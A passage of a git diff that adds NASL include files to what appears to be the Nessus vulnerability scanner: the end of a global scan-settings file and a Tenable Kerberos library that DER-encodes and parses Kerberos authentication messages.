+__gs_opt = get_kb_item("global_settings/network_type"); +if (__gs_opt) +{ + if ("LAN" >< __gs_opt) all_addr_private = 1; + else if ("Internet" >< __gs_opt) all_addr_public = 1; +} + + + + +__gs_opt = get_kb_item("global_settings/report_verbosity"); +if (__gs_opt) +{ + if ("Normal" >< __gs_opt) report_verbosity = 1; + else if ("Quiet" >< __gs_opt) report_verbosity = 0; + else if ("Verbose" >< __gs_opt) report_verbosity = 2; +} + +__gs_opt = get_kb_item("global_settings/report_paranoia"); +if (__gs_opt) +{ + if ("Avoid false alarms" >< __gs_opt) report_paranoia = 0; + else if ("Normal" >< __gs_opt) report_paranoia = 1; + else if ("Paranoid" >< __gs_opt) report_paranoia = 2; +} + +__gs_opt = get_kb_item("global_settings/log_verbosity"); +if (__gs_opt) +{ + if ("Normal" >< __gs_opt) log_verbosity = 1; + else if ("Quiet" >< __gs_opt) log_verbosity = 0; + else if ("Verbose" >< __gs_opt) log_verbosity = 2; + else if ("Debug" >< __gs_opt) + { + log_verbosity = 3; + __gs_opt = get_kb_item("global_settings/debug_level"); + if (__gs_opt =~ '^[0-9]+$') debug_level = int(__gs_opt); + if (debug_level <= 0) debug_level = 1; + } +} + +if (COMMAND_LINE) experimental_scripts = 1; +else +{ + __gs_opt = get_kb_item("global_settings/experimental_scripts"); + if ( __gs_opt ) + { + if ( "no" >< __gs_opt ) experimental_scripts = 0; + else if ("yes" >< __gs_opt) experimental_scripts = 1; + } +} + +__gs_opt = get_kb_item("global_settings/thorough_tests"); +if ( __gs_opt ) +{ + if ( "no" >< __gs_opt) thorough_tests = 0; + else if ("yes" >< __gs_opt) thorough_tests = 1; +} + +# a0 to a9 parameters are useless. They were added to suppress a warning +# with old NASL2 interpreters +function debug_print(level, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9) +{ + local_var msg, i, l; + + if (isnull(level)) level = 1; + if (debug_level < level) return; + if ( NASL_LEVEL < 2191 ) return; + msg = strcat(SCRIPT_NAME, '(', get_host_ip(), '): '); + foreach i (_FCT_ANON_ARGS) { msg = string(msg, i); } + l = strlen(msg); + if (l == 0) return; + if (msg[l-1] != '\n') msg += '\n'; + display("DEBUG: ", msg); +} + +# a0 to a9 parameters are useless. They were added to suppress a warning +# with old NASL2 interpreters +function log_print(level, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9) +{ + local_var msg, i, l; + + if (isnull(level)) level = 1; + if (debug_level <= 0 || log_verbosity < level) return; + if ( NASL_LEVEL < 2191 ) return; + msg = strcat(SCRIPT_NAME, '(', get_host_ip(), '): '); + foreach i (_FCT_ANON_ARGS) { msg = string(msg, i); } + l = strlen(msg); + if (l == 0) return; + if (msg[l-1] != '\n') msg += '\n'; + display("LOG: ", msg); +} + +GLOBAL_SETTINGS_INC = 1; diff --git a/content/UnixVA/plugins/kerberos_func.inc b/content/UnixVA/plugins/kerberos_func.inc new file mode 100644 index 0000000..ce07be2 --- /dev/null +++ b/content/UnixVA/plugins/kerberos_func.inc @@ -0,0 +1,2032 @@ +#TRUSTED 8c67d770a219840d35ab5cff57b45561866374e3d7bdbff431f745c89f5928376fcc8a39a2ff01f070d71bcfc3e1c899b80023483d14590b986f98e211e9418861b3dc659ede81bd5dc9e7e80aed4c65fc5ed3ead2a87317a8bf2a2584b7cd82920b8ad7337a128d5dc1f7994d382f00c54530475acc798e0884bbc4e7a14af8f92d7bf19c916f83684c029d66df8c8f5055e0200aa9f1094f160d383cf2e3e749e021f407ba33095b09eb94e1a905dbdcdc920e4a8e4dfee86310ad918221022796efbe57dafd2bba4b0fd7c1c0bbd1cd0a5415b3fe326591d5f05fa91fc70fadac553972846e89a9ad11577f5ef075158bcdcdf3e075bce8e841c4637ad70f37a3914e09e926026bcc9ab0ffb132892541f005ff097e823ce941525f4c4a1c07c18986aa0b354e384e55bd7ed554fee3957373a0bfc8f4e9dae23bfaff616f4e5022c948fff74a4232d1832f68b55300bbaf5b44db54bed79e1e6759902da13ad1f27b7f56dc7c06e601581f42bd6f88039608ac282c73f763344e66fcc351e22ec1f27578d72bfb9f7caf08f084098e2ef7069d5bb25c00d365bfcaa8acff100a290fe4311a51888605f06af387e6ddec5469f575e5bc1f2c313647fff26b23de36a354b29a6b80a89109873652ee2437487e40316361c8483cf4f9761f51805270f2e11d13245382f1d7d35ebfe6486981dbfaa37b392141dfd0c2c49720 +# -*- Fundamental -*- +# +# +# (C) 2005 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# @NOGPL@ +# +# kerberos_func.inc +# + +include ('crypto_func.inc'); + + +#---------------------------------------------------------# +# Function : raw_byte # +# Description : Convert a byte to raw data # +#---------------------------------------------------------# + +function raw_byte (b) +{ + return raw_string (b); +} + + +#---------------------------------------------------------# +# Function : raw_word # +# Description : Convert a word to raw data # +#---------------------------------------------------------# + +function raw_word (w) +{ + return raw_string ( (w) & 255, + (w>>8) & 255 ); +} + + +#---------------------------------------------------------# +# Function : raw_dword # +# Description : Convert a dword to raw data # +#---------------------------------------------------------# + +function raw_dword (d) +{ + return raw_string ( (d) & 255, + (d>>8) & 255, + (d>>16) & 255, + (d>>24) & 255 ); +} + + +#---------------------------------------------------------# +# Function : get_byte # +# Description : Extract a byte from a blob # +#---------------------------------------------------------# + +function get_byte (blob,pos) +{ + if (pos > (strlen (blob) - 1)) + return NULL; + + return ( ord(blob[pos]) ); +} + + +#---------------------------------------------------------# +# Function : get_word # +# Description : Extract a word from a blob # +#---------------------------------------------------------# + +function get_word (blob,pos) +{ + if (pos > (strlen (blob) - 2)) + return NULL; + + return ( ord(blob[pos]) + (ord(blob[pos+1]) << 8) ); +} + + +#---------------------------------------------------------# +# Function : get_dword # +# Description : Extract a dword from a blob # +#---------------------------------------------------------# + +function get_dword (blob, pos) +{ + if (pos > (strlen (blob) - 4)) + return NULL; + + return ( ord(blob[pos]) + + (ord(blob[pos+1]) << 8) + + (ord(blob[pos+2]) << 16) + + (ord(blob[pos+3]) << 24) ); +} + + +#---------------------------------------------------------# +# Function : get_checksum_type # +# Description : return checksum type # +#---------------------------------------------------------# + +function get_checksum_type (enc_type) +{ + if (enc_type == 23) + return -138; + if (enc_type == 3) + return 8; + + return 0; +} + + +#---------------------------------------------------------# +# Function : supported_encryption_type # +# Description : check if encryption type is supported # +#---------------------------------------------------------# + +function supported_encryption_type (type) +{ + if ((type != 23) && # arcfour + (type != 3)) # des-cbc-md5 + return FALSE; + + return TRUE; +} + + +#---------------------------------------------------------# +# Function : kerberos_checksum # +# Description : checksum data # +#---------------------------------------------------------# + +function kerberos_checksum (key, type, data, real_key, enc_type, realm, principal) +{ + local_var enckey; + + if (enc_type == 23) + return rc4_hmac_checksum (key:key, type:type, data:data, real_key:real_key); + if (enc_type == 3) + { + if (real_key == FALSE) + { + enckey = des_cbc_string_to_key (_string:key, salt:realm+principal); + } + else + enckey = key; + + return des_cbc_md5_checksum (data:data, key:enckey); + } + + return NULL; +} + + +#---------------------------------------------------------# +# Function : kerberos_decrypt # +# Description : decrypt data # +#---------------------------------------------------------# + +function kerberos_decrypt (key, type, data, real_key, enc_type, realm, principal) +{ + local_var enckey; + + if (enc_type == 23) + return rc4_hmac_decrypt (key:key, type:type, data:data, real_key:real_key); + if (enc_type == 3) + { + if (real_key == FALSE) + { + enckey = des_cbc_string_to_key (_string:key, salt:realm+principal); + } + else + enckey = key; + + return des_cbc_md5_decrypt (data:data, key:enckey); + } + + return NULL; +} + + +#---------------------------------------------------------# +# Function : kerberos_encrypt # +# Description : encrypt data # +#---------------------------------------------------------# + +function kerberos_encrypt (key, type, data, real_key, enc_type, realm, principal) +{ + local_var enckey; + + if (enc_type == 23) + return rc4_hmac_encrypt (key:key, type:type, data:data, real_key:real_key); + if (enc_type == 3) + { + if (real_key == FALSE) + enckey = des_cbc_string_to_key (_string:key, salt:realm+principal); + else + enckey = key; + + return des_cbc_md5_encrypt (data:data, key:enckey); + } + + return NULL; +} + + +#---------------------------------------------------------# +# Function : der_length # +# Description : return raw der length of data # +#---------------------------------------------------------# + +function der_length (data) +{ + local_var tmp, length, len; + + length = NULL; + len = strlen (data); + + while (len != 0) + { + length = raw_string (len % 256) + length; + len = len / 256; + } + + if ((strlen (length) > 1) || ((strlen(length) == 1) && (ord(length[0]) > 127))) + length = raw_string (128 + strlen (length)) + length; + + return length; +} + + +#---------------------------------------------------------# +# Function : der_encode # +# Description : Return der encoded data # +#---------------------------------------------------------# + +function der_encode (tag,data) +{ + if (isnull (data)) + return NULL; + + return raw_string (tag) + der_length(data:data) + data; +} + + +function integer (i) +{ + local_var j,k; + + j = 0; + + for (k=0; k < strlen(i); k++) + { + j = j * 256 + ord(i[k]); + } + + return j; +} + + +#---------------------------------------------------------# +# Function : der_decode # +# Description : Return der decoded data # +# [0] = code # +# [1] = data # +# [2] = next pos in buffer # +#---------------------------------------------------------# + +function der_decode (data, pos) +{ + local_var tmp, i, j, len, len2; + + if (isnull (data)) + return NULL; + + if (isnull (pos)) + j = 0; + else + j = pos; + + if (strlen(data) - j < 2) + return NULL; + + tmp[0] = ord(data[j]); + j++; + + len = ord(data[j]); + j++; + + if (len > 127) + { + len -= 128; + if (strlen(data) - j < len) + return NULL; + + len2 = integer (i:substr (data, j, j + len - 1)); + j += len; + len = len2; + } + + if (strlen(data) - j < len) + return NULL; + + tmp[1] = substr(data,j,j+len-1); + tmp[2] = j + len; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_encode_oid # +# Description : Return der encoded OID (string) # +# ex: "1.2.840.113554.1.2.2" # +#---------------------------------------------------------# + +function der_encode_oid (oid) +{ + local_var nums, num, enum, i, max, encoded; + + if (isnull (oid)) + return NULL; + + nums = split (oid, sep:".", keep:0); + + max = max_index (nums); + if (max < 2) + return NULL; + + # value1 x 40 + value2 + encoded = raw_string (40*int(nums[0]) + int(nums[1])); + + for (i=2; i < max; i++) + { + num = int(nums[i]); + enum = raw_string (num % 128); + num = num / 128; + while (num != 0) + { + enum = raw_string (128 + (num%128)) + enum; + num = num / 128; + } + encoded += enum; + } + + # OID Tag = 0x06 + return der_encode (tag:0x06, data:encoded); +} + + +#---------------------------------------------------------# +# Function : der_decode_oid # +# Description : Return OID (string) # +# ex: "1.2.840.113554.1.2.2" # +#---------------------------------------------------------# + +function der_decode_oid (oid) +{ + local_var soid, i, val; + + if (strlen (oid) < 1) + return NULL; + + soid = string (ord (oid[0]) / 40, ".", ord (oid[0]) % 40); + + for (i = 1; i < strlen(oid); i++) + { + val = 0; + while (ord(oid[i]) >= 128) + { + val = ((ord(oid[i]) - 128) + val) * 128; + i++; + } + val += ord (oid[i]); + soid += string (".",val); + } + + return soid; +} + + +#---------------------------------------------------------# +# Function : der_encode_int # +# Description : Return der encoded INTEGER # +#---------------------------------------------------------# + +function der_encode_int (i) +{ + local_var val,j,tmp; + + if (isnull (i)) + return NULL; + + val[0] = i & 255; + val[1] = (i>>8) & 255; +# val[2] = (i>>16) & 255; +# val[3] = (i>>24) & 255; + + j = 3; + while ((val[j] == 0) && (j != 0)) + j--; + + tmp = NULL; + while (j != 0) + { + tmp += raw_string (val[j]); + j--; + } + + tmp += raw_string (val[j]); + + return der_encode (tag:0x02, data:tmp); +} + + +#---------------------------------------------------------# +# Function : der_encode_int32 # +# Description : Return der encoded INTEGER # +#---------------------------------------------------------# + +function der_encode_int32 (i) +{ + local_var tmp; + + if (isnull (i)) + return NULL; + + tmp = raw_string ((i>>24) & 255, + (i>>16) & 255, + (i>>8) & 255, + i & 255); + + return der_encode (tag:0x02, data:tmp); +} + + +#---------------------------------------------------------# +# Function : der_encode_string # +# Description : Return der encoded STRING # +#---------------------------------------------------------# + +function der_encode_string (string) +{ + if (isnull (string)) + return NULL; + + return der_encode (tag:0x1B, data:string); +} + + +#---------------------------------------------------------# +# Function : der_encode_sequence # +# Description : Return der encoded SEQUENCE # +#---------------------------------------------------------# + + +function der_encode_sequence (seq) +{ + local_var encoded, max, i, j, val; + + if (isnull (seq)) + return NULL; + + max = max_index (seq); + if (max == 0) + return NULL; + + i = 0xA0; + + encoded = NULL; + + for (j=0; j < max; j++) + { + val = seq[j]; + if (!isnull(val)) + { + encoded += der_encode (tag:i, data:val); + } + i++; + } + + # SEQUENCE Tag = 0x30 + return der_encode (tag:0x30, data:encoded); +} + + +#---------------------------------------------------------# +# Function : der_encode_name # +# Description : Return type/name # +#---------------------------------------------------------# +# # +# PrincipalName ::= SEQUENCE { # +# name-type[0] INTEGER, # +# name-string[1] SEQUENCE OF GeneralString # +# } # +# # +#---------------------------------------------------------# + +function der_encode_name (type, name1, name2) +{ + local_var list, names; + + if (isnull (name1) && isnull (name2)) + return NULL; + + list = NULL; + + names = der_encode_string (string:name1); + names += der_encode_string (string:name2); + + list[0] = der_encode_int (i:type); + list[1] = der_encode_list (list:names); + + return der_encode_sequence (seq:list); +} + + +#---------------------------------------------------------# +# Function : der_encode_time # +# Description : Return der encoded KerberosTime # +#---------------------------------------------------------# + +function der_encode_time (time) +{ + if (isnull (time)) + return NULL; + + return der_encode (tag:0x18, data:time); +} + + +#---------------------------------------------------------# +# Function : der_parse_data # +# Description : Return der decoded data # +#---------------------------------------------------------# + +function der_parse_data (tag,data) +{ + local_var tmp; + + tmp = der_decode (data:data); + if (isnull (tmp) || (tmp[0] != tag)) + return NULL; + + return tmp[1]; +} + + +#---------------------------------------------------------# +# Function : der_parse_list # +# Description : Return der decoded list # +#---------------------------------------------------------# + +function der_parse_list (list) +{ + local_var tmp,pos,i,ret; + + if (!list) + return NULL; + + tmp = NULL; + tmp[0] = 0; + + pos = 0; + i = 1; + while (pos < strlen(list)) + { + ret = der_decode (data:list,pos:pos); + if (isnull(ret)) + return NULL; + + tmp[i] = substr (list, pos, ret[2]); + tmp[0] = tmp[0] + 1; + pos = ret[2]; + i++; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_parse_sequence # +# Description : Return der decoded sequence # +#---------------------------------------------------------# + +function der_parse_sequence (seq,num,list) +{ + local_var tmp, dseq, val, i, pos, ret; + + dseq = der_decode (data:seq); + if (isnull(dseq) || (dseq[0] != 0x30)) + return NULL; + + if (!isnull(list) && (list == TRUE)) + return der_parse_list (list:dseq[1]); + + tmp = NULL; + for (i=0; i < num; i++) + tmp[i] = NULL; + + pos = i = 0; + while (pos < strlen(dseq[1])) + { + ret = der_decode (data:dseq[1],pos:pos); + if (isnull(ret)) + return NULL; + + val = ret[0] - 0xA0; + if (val < 0) + return NULL; + + tmp[val] = ret [1]; + pos = ret[2]; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_parse_int # +# Description : Return der decoded integer # +#---------------------------------------------------------# + +function der_parse_int (i) +{ + local_var tmp; + + tmp = der_parse_data (tag:0x02, data:i); + if (!tmp) + return NULL; + + tmp = integer (i:tmp); + if (isnull(tmp)) + return NULL; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_parse_octet_string # +# Description : Return der decoded octet string # +#---------------------------------------------------------# + +function der_parse_octet_string (string) +{ + return der_parse_data (tag:0x04, data:string); +} + + +#---------------------------------------------------------# +# Function : der_parse_oid # +# Description : Return der decoded oid # +#---------------------------------------------------------# + +function der_parse_oid (oid) +{ + local_var tmp; + + tmp = der_parse_data (tag:0x06, data:oid); + if (!tmp) + return NULL; + + tmp = der_decode_oid (oid:tmp); + if (!tmp) + return NULL; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_parse_list_oid # +# Description : Return der decoded oid list # +# "oid1 oid2 ..." # +#---------------------------------------------------------# + +function der_parse_list_oid (list) +{ + local_var tmp, seq, i; + + tmp = NULL; + + seq = der_parse_sequence (seq:list,list:TRUE); + if (isnull(seq)) + return NULL; + + for (i=0;i < seq[0];i++) + { + tmp += der_parse_oid (oid:seq[i+1]) + " "; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : der_encode_paenc # +# Description : Return der encoded PA-ENC # +#---------------------------------------------------------# +# # +# PA-ENC-TS-ENC ::= SEQUENCE { # +# patimestamp [0] KerberosTime, -- client's time # +# pausec [1] INTEGER OPTIONAL # +# } # +# # +#---------------------------------------------------------# + +function der_encode_paenc(time) +{ + local_var paenc; + + paenc = NULL; + paenc[0] = der_encode_time (time:time); + paenc[1] = NULL; + + return der_encode_sequence (seq:paenc); +} + + +#---------------------------------------------------------# +# Function : der_encode_octet_string # +# Description : Return der encoded OCTET STRING # +#---------------------------------------------------------# + +function der_encode_octet_string (string) +{ + return der_encode (tag:0x04, data:string); +} + + +#---------------------------------------------------------# +# Function : der_encode_padata # +# Description : Return der encoded PA-DATA # +#---------------------------------------------------------# +# # +# PA-DATA ::= SEQUENCE { # +# padata-type [1] INTEGER, # +# padata-value [2] OCTET STRING, # +# } # +# # +#---------------------------------------------------------# + +function der_encode_padata (type,value) +{ + local_var pa_data; + + pa_data = NULL; + + pa_data[0] = NULL; + pa_data[1] = der_encode_int (i:type); + pa_data[2] = der_encode_octet_string (string:value); + + return der_encode_sequence (seq:pa_data); +} + + +#---------------------------------------------------------# +# Function : der_encode_crypt # +# Description : Return der encoded/crypted structure # +#---------------------------------------------------------# + +function der_encode_crypt (data, key, type, enc_type, real_key, realm, principal) +{ + local_var crypted, encrypted_data; + + encrypted_data = kerberos_encrypt (key:key, type:raw_dword (d:type), data:data, real_key:real_key, enc_type:enc_type, realm:realm, principal:principal); + + crypted = NULL; + crypted[0] = der_encode_int (i:enc_type); + crypted[1] = NULL; + crypted[2] = der_encode_octet_string (string:encrypted_data); + + return der_encode_sequence (seq:crypted); +} + + +#---------------------------------------------------------# +# Function : der_encode_list # +# Description : Return der encoded list # +#---------------------------------------------------------# + +function der_encode_list (list) +{ + return der_encode (tag:0x30, data:list); +} + + +#---------------------------------------------------------# +# Function : der_encode_kdcreq # +# Description : Return der encoded KDC-REQ # +#---------------------------------------------------------# +# # +# KDC-REQ ::= SEQUENCE { # +# pvno [1] INTEGER, # +# msg-type [2] INTEGER, # +# padata [3] SEQUENCE OF PA-DATA OPTIONAL, # +# req-body [4] KDC-REQ-BODY # +# } # +# # +#---------------------------------------------------------# + +function der_encode_kdcreq (pvno, msg_type, list, req_body) +{ + local_var l; + + l = NULL; + + l[0] = NULL; + l[1] = der_encode_int (i:pvno); + l[2] = der_encode_int (i:msg_type); + l[3] = der_encode_list (list:list); + l[4] = req_body; + + return der_encode_sequence (seq:l); +} + + +function der_encode_request (req) +{ + local_var request; + + request = NULL; + request[0] = der_encode (tag:0x01, data:req); + + return der_encode_sequence(seq:request); +} + + + +#---------------------------------------------------------# +# Function : der_encode_kdc_req_body # +# Description : Return der encoded KDC-REQ-BODY # +#---------------------------------------------------------# +# # +# KDC-REQ-BODY ::= SEQUENCE { # +# kdc-options [0] KDCOptions, # +# cname [1] PrincipalName OPTIONAL, # +# realm [2] Realm, -- Server's realm # +# sname [3] PrincipalName OPTIONAL, # +# from [4] KerberosTime OPTIONAL, # +# till [5] KerberosTime, # +# rtime [6] KerberosTime OPTIONAL, # +# nonce [7] INTEGER, # +# etype [8] SEQUENCE OF INTEGER, -- EncType # +# addresses [9] HostAddresses OPTIONAL, # +# enc-authorization-data [10] EncryptedData OPTIONAL, # +# additional-tickets [11] SEQUENCE OF Ticket OPT # +# } # +# # +#---------------------------------------------------------# + +function der_encode_kdc_req_body (principal,realm,service,hosts) +{ + local_var list, options; + + list = options = NULL; + + options = der_encode (tag:0x03, data:raw_string (0x00,0x00,0x00,0x00,0x00)); + + list[0] = options; + if (!isnull(principal)) + list[1] = der_encode_name (type:1, name1:principal, name2:NULL); + else + list[1] = NULL; + list[2] = der_encode_string (string:realm); + list[3] = service; + list[4] = NULL; + list[5] = der_encode_time (time:"20370913024805Z"); + list[6] = der_encode_time (time:"20370913024805Z"); + list[7] = der_encode_int (i:rand()); + # rc4-hmac-md5 , des-cbc-md5 + list[8] = der_encode_list (list:der_encode_int (i:23)+der_encode_int(i:3)); + if (!isnull(hosts)) + list[9] = der_encode_list (list:hosts); + else + list[9] = NULL; + + return der_encode_sequence (seq:list); +} + + +#---------------------------------------------------------# +# Function : kerberostime # +# Description : Return KerberosTime Format # +# YYYYMMDDHHMMSSZ (Z = UTC time) # +#---------------------------------------------------------# + +function kerberostime() +{ + local_var tmp,time,conv,field; + + time = localtime(unixtime(),utc:TRUE); + tmp = string (time["year"]); + foreach field (make_list("mon", "mday", "hour", "min", "sec")) + { + conv = string (time[field]); + if (strlen (conv) == 1) + conv = "0" + conv; + tmp += conv; + } + tmp += "Z"; + + return tmp; +} + +#---------------------------------------------------------# +# Function : der_encode_asreq # +# Description : Return der encoded AS-REQ # +#---------------------------------------------------------# +# # +# AS-REQ ::= [APPLICATION 10] KDC-REQ # +# # +# KDC-REQ ::= SEQUENCE { # +# pvno [1] INTEGER, # +# msg-type [2] INTEGER, # +# padata [3] SEQUENCE OF PA-DATA OPTIONAL, # +# req-body [4] KDC-REQ-BODY # +# } # +# # +# PA-DATA ::= SEQUENCE { # +# padata-type [1] INTEGER, # +# padata-value [2] OCTET STRING, # +# } # +# # +# padata-type ::= PA-ENC-TIMESTAMP # +# padata-value ::= EncryptedData -- PA-ENC-TS-ENC # +# # +# PA-ENC-TS-ENC ::= SEQUENCE { # +# patimestamp [0] KerberosTime, -- client's time # +# pausec [1] INTEGER OPTIONAL # +# } # +# # +#---------------------------------------------------------# + +function der_encode_asreq (principal,realm,enc_type,password) +{ + local_var req_body, encoded, host, pa_enc, padata_enc, padata, pa_pac, request, service; + + pa_pac = request = service = NULL; + + pa_enc = der_encode_paenc (time:kerberostime()); + padata_enc = der_encode_crypt (data:pa_enc, key:password, type:1, enc_type:enc_type, real_key:FALSE, realm:realm, principal:principal); + padata = der_encode_padata (type:2, value:padata_enc); + + request = der_encode_request (req:raw_string (0xFF)); + pa_pac = der_encode_padata (type:128, value:request); + + service = der_encode_name (type:2, name1:"krbtgt", name2:realm); + req_body = der_encode_kdc_req_body (principal:principal, realm:realm, service:service); + + encoded = der_encode_kdcreq (pvno:5, msg_type:0x0A, list:padata+pa_pac, req_body:req_body); + + return der_encode (tag:0x6A, data:encoded); +} + + + +#---------------------------------------------------------# +# Function : der_decode_kdcrep # +# Description : Return der session key and Ticket # +#---------------------------------------------------------# +# # +# AS-REP ::= [APPLICATION 11] KDC-REP # +# KDC-REP ::= SEQUENCE { # +# pvno [0] INTEGER, # +# msg-type [1] INTEGER, # +# padata [2] SEQUENCE OF PA-DATA OPTIONAL, # +# crealm [3] Realm, # +# cname [4] PrincipalName, # +# ticket [5] Ticket, # +# enc-part [6] EncryptedData # +# } # +# # +# EncryptedData ::= SEQUENCE { # +# etype [0] INTEGER, -- EncryptionType # +# kvno [1] INTEGER OPTIONAL, # +# cipher [2] OCTET STRING -- ciphertext # +# } # +# # +# EncASRepPart ::= [APPLICATION 25] EncKDCRepPart # +# EncKDCRepPart ::= SEQUENCE { # +# key [0] EncryptionKey, # +# last-req [1] LastReq, # +# nonce [2] INTEGER, # +# key-expiration [3] KerberosTime OPTIONAL, # +# flags [4] TicketFlags, # +# authtime [5] KerberosTime, # +# starttime [6] KerberosTime OPTIONAL, # +# endtime [7] KerberosTime, # +# renew-till [8] KerberosTime OPTIONAL, # +# srealm [9] Realm, # +# sname [10] PrincipalName, # +# caddr [11] HostAddresses OPTIONAL # +# } # +# # +#---------------------------------------------------------# + +function der_decode_kdcrep (type,password, data, real_key) +{ + local_var buf,pvno,msg_type,pa_data,crealm,cname,ticket,enc_part,kvno,seq,enc_type,encrypted; + local_var decrypted, enc_key; + local_var resp, realm, principal; + + resp = NULL; + + buf = der_decode (data:data); + if (isnull(buf) || ((buf[0] != 0x6B) && (buf[0] != 0x6D))) + return NULL; + + # Data are in SEQUENCE + seq = der_parse_sequence (seq:buf[1], num:7, list:FALSE); + if (isnull(seq)) + return NULL; + + # PVNO == 5 + pvno = der_parse_int (i:seq[0]); + if (isnull(pvno) || (pvno != 5)) + return NULL; + + # MSG-Type == AS-REP + msg_type = der_parse_int (i:seq[1]); + if (isnull(msg_type) || (msg_type != type)) + return NULL; + + # crealm + crealm = seq[3]; + if (!crealm) return NULL; + resp[2] = crealm; + + # cname + cname = seq[4]; + if (!cname) return NULL; + resp[3] = cname; + + # TGT + ticket = seq[5]; + if (!ticket) return NULL; + resp[0] = ticket; + + # enc-part + enc_part = seq[6]; + if (!enc_part) return NULL; + + # ENC-Part is a SEQUENCE + seq = der_parse_sequence (seq:enc_part, num:3, list:FALSE); + if (isnull(seq)) + return NULL; + + # Encryption type + enc_type = der_parse_int (i:seq[0]); + if (isnull(enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + # (OPTIONAL) Kvno == 2 + kvno = der_parse_int (i:seq[1]); + if (kvno && ((kvno != 2) && (kvno != 1))) + return NULL; + + # encrypted data + encrypted = der_parse_octet_string (string:seq[2]); + if (!encrypted) + return NULL; + + # We have enc-part in _encrypted[1] here. + + realm = der_parse_data(tag:0x1b, data:crealm); + seq = der_parse_sequence (seq:cname, num:5, list:FALSE); + if (isnull(seq)) + return NULL; + seq = der_parse_sequence (seq:seq[1], num:5, list:TRUE); + if (isnull(seq)) + return NULL; + principal = der_parse_data(tag:0x1b, data:seq[1]); + + decrypted = kerberos_decrypt (key:password, type:raw_dword(d:8), data:encrypted, real_key:real_key, enc_type:enc_type, realm:realm, principal:principal); + if (isnull(decrypted)) + return NULL; + + enc_part = der_decode (data:decrypted); + if (isnull(enc_part) || ((enc_part[0] != 0x79) && (enc_part[0] != 0x7A))) + return NULL; + + enc_part = der_parse_sequence (seq:enc_part[1], num:12, list:FALSE); + if (isnull (enc_part)) + return NULL; + + enc_key = der_parse_sequence (seq:enc_part[0], num:2, list:FALSE); + if (isnull (enc_key)) + return NULL; + + # We parse encryption key + + # Encryption type + enc_type = der_parse_int (i:enc_key[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + resp[4] = enc_type; + + # Encryption key + enc_key = der_parse_octet_string (string:enc_key[1]); + if (isnull (enc_key)) + return NULL; + + # We store the session key + resp[1] = enc_key; + + return resp; +} + + +#---------------------------------------------------------# +# Function : der_decode_asrep # +# Description : Return der decoded AP-REP # +#---------------------------------------------------------# + +function der_decode_asrep (password, data) +{ + return der_decode_kdcrep (type:0x0B, password:password, data:data, real_key:FALSE); +} + + +#---------------------------------------------------------# +# Function : der_decode_tgsrep # +# Description : Return der decoded TGS-REP # +#---------------------------------------------------------# + +function der_decode_tgsrep (session, data) +{ + return der_decode_kdcrep (type:0x0D, password:session[1], data:data, real_key:TRUE); +} + + +#---------------------------------------------------------# +# Function : der_encode_apreq # +# Description : Return der encoded AP-REQ # +#---------------------------------------------------------# + +function der_encode_apreq (session, req_body, type, _checksum, _seqnum) +{ + local_var list, options, encoded, authenticator, authenticators, checksum, auth, realm, principal, seq, cksum; + + authenticator = authenticators = checksum = NULL; + +# checksum[0] = der_encode_int (i:-138); +# checksum[1] = der_encode (tag:0x04, data:rc4_hmac_checksum(key:session[1],type:raw_dword(d:6),data:req_body)); + + realm = der_parse_data(tag:0x1b, data:session[2]); + seq = der_parse_sequence (seq:session[3], num:5, list:FALSE); + if (isnull(seq)) + return NULL; + seq = der_parse_sequence (seq:seq[1], num:5, list:TRUE); + if (isnull(seq)) + return NULL; + principal = der_parse_data(tag:0x1b, data:seq[1]); + + options = der_encode (tag:0x03, data:raw_string (0x00,0x20,0x00,0x00,0x00)); + + authenticator[0] = der_encode_int(i:5); + authenticator[1] = session[2]; + authenticator[2] = session[3]; + + if (!isnull(req_body)) + { + cksum = kerberos_checksum(key:session[1],type:raw_dword(d:6),data:req_body,real_key:TRUE,realm:realm,principal:principal,enc_type:session[4]); + + checksum[0] = der_encode_int (i:get_checksum_type(enc_type:session[4])); + checksum[1] = der_encode (tag:0x4, data:cksum); + + authenticator[3] = der_encode_sequence (seq:checksum); + } + else if (!isnull(_checksum)) + authenticator[3] = _checksum; + else + authenticator[3] = NULL; + authenticator[4] = der_encode_int(i:0); + authenticator[5] = der_encode_time (time:kerberostime()); + + if (!isnull(_seqnum)) + { + authenticator[6] = NULL; + authenticator[7] = der_encode_int32 (i:_seqnum); + } + + auth = der_encode_sequence (seq:authenticator); + + authenticators = der_encode_crypt (key:session[1], type:type, data:der_encode (tag:0x62, data:auth), real_key:TRUE, realm:realm, principal:principal, enc_type:session[4]); + + + list = NULL; + + list[0] = der_encode_int(i:5); # Pvno = 5 + list[1] = der_encode_int(i:0x0E); # MSG-Type = AP-REQ + list[2] = options; + list[3] = session[0]; + list[4] = authenticators; + + encoded = der_encode_sequence (seq:list); + + return der_encode (tag:0x6E, data:encoded); +} + + +#---------------------------------------------------------# +# Function : der_encode_tgsreq # +# Description : Return der encoded TGS-REQ # +#---------------------------------------------------------# + +function der_encode_tgsreq (session,name) +{ + local_var realm, req_body, encoded, padata, service, apreq; + + realm = der_decode (data:session[2]); + service = der_encode_name (type:3, name1:"host", name2:name); # Microsoft uses "cifs" for "host" + req_body = der_encode_kdc_req_body (realm:realm[1], service:service); + + apreq = der_encode_apreq (session:session,req_body:req_body,type:7); + padata = der_encode_padata (type:1, value:apreq); + + encoded = der_encode_kdcreq (pvno:5, msg_type:0x0C, list:padata, req_body:req_body); + + return der_encode (tag:0x6C, data:encoded); +} + + + +#---------------------------------------------------------# +# Function : der_encode_negtokeninit # +# Description : Return der encoded NegTokenInit # +#---------------------------------------------------------# +# # +# NegTokenInit ::= SEQUENCE { # +# mechTypes [0] MechTypeList 